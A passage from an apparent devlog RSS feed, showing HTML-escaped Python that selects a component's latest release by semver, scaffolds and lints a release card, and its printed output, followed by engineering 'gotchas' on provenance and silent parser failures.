&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    r[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; RELEASES&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].startswith(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;widget-v&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isDraft&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isPrerelease&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;candidates        :&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, published)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;string sort picks :&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(published))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;semver sort picks :&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(published, key&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=lambda&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t: semver_key(t, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;widget-v&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# 2. A repo-wide &quot;newest&quot; belongs to a different component, and the newest tag&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#    of all is an unpublished draft.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;repo-wide newest  :&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(RELEASES, key&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=lambda&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r: r[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;publishedAt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;all_widget &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [r[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; RELEASES &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].startswith(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;widget-v&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;highest widget tag:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(all_widget, key&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=lambda&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t: semver_key(t, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;widget-v&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;(a draft)&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;this component&apos;s  :&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, latest_release(RELEASES, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;widget&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;facts &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; build_facts(RELEASES, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;widget&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;acme/widgets&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;acme-marketplace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;facts:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, facts)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# 3. The scaffold fills facts and marks judgment.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;card &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; scaffold(facts)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;scaffolded card:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(card)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;lint on the scaffold (should refuse):&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; f &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lint_card(card, facts):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot; -&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, f)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# 4. A composed card, with the judgment slots actually written.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;composed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; card&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; slot, text &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;TODO headline with one signature pivot&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Ships what it can &amp;#x3C;span&gt;prove.&amp;#x3C;/span&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;TODO one sentence on what this is for&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Cuts a release and reads the tag back from origin.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;TODO quote the skill&apos;s own refusal, do not paraphrase it softer&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;     &quot;Never reports a release until the tag is fetched back from the remote.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;TODO one figure you COUNTED today from the artifact&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;121 published guides&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    composed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; composed.replace(slot, text)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;lint on the composed card:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, lint_card(composed, facts) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;clean&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# 5. Non-vacuity: the gate must still refuse a card missing an install step.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;one_step &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; composed.replace(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&amp;#x3C;code class=&quot;cmdbar&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;installSteps&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/code&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;lint on a one-step card:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, lint_card(one_step, facts))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lint_card(card, facts), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;the gate must refuse an unfilled scaffold&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;assert&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lint_card(composed, facts), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;a fully composed card must pass&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lint_card(one_step, facts), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;the gate must refuse a broken install path&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;all checks passed&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save the three blocks as &lt;code&gt;facts.py&lt;/code&gt;, &lt;code&gt;scaffold.py&lt;/code&gt; and &lt;code&gt;cardlint.py&lt;/code&gt;, this one
as &lt;code&gt;check.py&lt;/code&gt;, and run &lt;code&gt;python3 check.py&lt;/code&gt;. It is stdlib only. Here is what it
printed for me:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;candidates        : [&apos;widget-v0.9.0&apos;, &apos;widget-v0.10.0&apos;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;string sort picks : widget-v0.9.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;semver sort picks : widget-v0.10.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;repo-wide newest  : gadget-v3.1.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;highest widget tag: widget-v0.11.0 (a draft)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;this component&apos;s  : widget-v0.10.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;facts: {&apos;component&apos;: &apos;widget&apos;, &apos;version&apos;: &apos;0.10.0&apos;, &apos;tag&apos;: &apos;widget-v0.10.0&apos;, &apos;publishedAt&apos;: &apos;2026-08-04&apos;, &apos;installSteps&apos;: [&apos;/plugin marketplace add acme/widgets&apos;, &apos;/plugin install widget@acme-marketplace&apos;]}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;scaffolded card:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;article class=&quot;card&quot; id=&quot;card-real&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &amp;#x3C;p class=&quot;nameplate&quot;&gt;widget v0.10.0 · 2026-08-04&amp;#x3C;/p&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &amp;#x3C;h1&gt;TODO headline with one signature pivot&amp;#x3C;/h1&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &amp;#x3C;p class=&quot;standfirst&quot;&gt;TODO one sentence on what this is for&amp;#x3C;/p&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &amp;#x3C;code class=&quot;cmdbar&quot;&gt;/plugin marketplace add acme/widgets&amp;#x3C;/code&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &amp;#x3C;code class=&quot;cmdbar&quot;&gt;/plugin install widget@acme-marketplace&amp;#x3C;/code&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &amp;#x3C;blockquote class=&quot;refusal&quot;&gt;TODO quote the skill&apos;s own refusal, do not paraphrase it softer&amp;#x3C;/blockquote&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &amp;#x3C;p class=&quot;proof&quot;&gt;TODO one figure you COUNTED today from the artifact&amp;#x3C;/p&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;/article&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;lint on the scaffold (should refuse):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; - 4 judgment slot(s) still marked TODO: &apos;TODO headline with one signature pivot&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;lint on the composed card: clean&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;lint on a one-step card: [&apos;shows 1 install step(s), needs 2&apos;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;all checks passed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four lines at the top, four different wrong answers, all of them plausible. The
string sort, the repo-wide newest, the highest tag including a draft, and the
right one. Any of the first three would have rendered a card that looked
completely fine.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The slot with no rule is the slot that goes stale.&lt;/strong&gt; Every fact on the second
card was read from the release and every one was right. The proof figure was
not, because nothing said where it had to come from, so it was copied out of a
project document that said 61. Counting the actual published items gave 121. The
document had simply not been updated in a while, which is what documents do. The
fix was to give that slot the same kind of rule the others already had: count it
from the artifact today, never quote it from a README, a design doc or a
changelog note, and drop the figure entirely rather than ship one you cannot
count. A slot with no provenance rule will be filled from whatever is nearest,
and what is nearest is usually a document rather than the thing itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A parser that knows one dialect reports “empty”, not “unsupported”.&lt;/strong&gt; The
changelog reader here matched one heading style. This repo writes two. Against
the other style it returned an empty list, which downstream read as a release
that changed nothing, rather than as a parse failure. When a reader finds
nothing, make it say whether it found nothing or understood nothing. Those look
identical in a result and are opposite in a diagnosis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not let a missing input become a silent blank.&lt;/strong&gt; One skill declares no
single headline rule, and the quote slot rendered empty. Empty is the worst of
the three options, because it invites an invented promise. Say what to do
instead: quote it from the release notes, or drop the element. A generator that
cannot produce a slot should say so in the slot.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Measure the box you actually care about.&lt;/strong&gt; A layout check here compared a
chip’s border box against a line height, so any generously padded command chip
was reported as wrapping while sitting comfortably on one line. Switching it to
the content box fixed it. It surfaced while building this card and would have
nagged every card with a prominent command in it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assert the gate still refuses.&lt;/strong&gt; The last three lines of the run script are
assertions that an unfilled scaffold fails, a composed card passes, and a card
with a broken install path fails. Only the middle one is about today’s output.
The other two are what stop the gate from quietly becoming a function that
returns an empty list.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://media.pragprog.com/titles/tpp20/dry.pdf&quot;&gt;The DRY Principle (The Pragmatic Programmer, excerpt)&lt;/a&gt; — every piece of knowledge needs one authoritative representation, which is what a generated fact slot enforces&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cli.github.com/manual/gh_release_list&quot;&gt;gh release list (GitHub CLI manual)&lt;/a&gt; — reading published releases with &lt;code&gt;--json tagName,publishedAt,isDraft,isPrerelease&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://semver.org/&quot;&gt;Semantic Versioning 2.0.0&lt;/a&gt; — numeric precedence, and why tags cannot be sorted as text&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(ghostwriter): three evidence gaps the second brochure exposed (#184) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/037dc564a76d669e238d43eda17f31df5f3b80b7&quot;&gt;037dc56&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;feat(ghostwriter): a brochure card for a shipped release, built from the release itself (0.15.0) (#183) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/79b7eaf6043732b7e11fda949665f70be25a1535&quot;&gt;79b7eaf&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/ghostwriter/v0.15.0.png" length="35182" type="image/png"/></item><item><title>Your new scale can inherit the old one&apos;s calibration</title><link>https://natejswenson.com/devlog/local-fitness/v0.50.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/local-fitness/v0.50.0/</guid><description>Swapping a five-bucket grade for a continuous score usually means recalibrating from scratch. It doesn&apos;t have to, if the new curve&apos;s knots are the old rubric&apos;s boundaries.</description><pubDate>Tue, 04 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
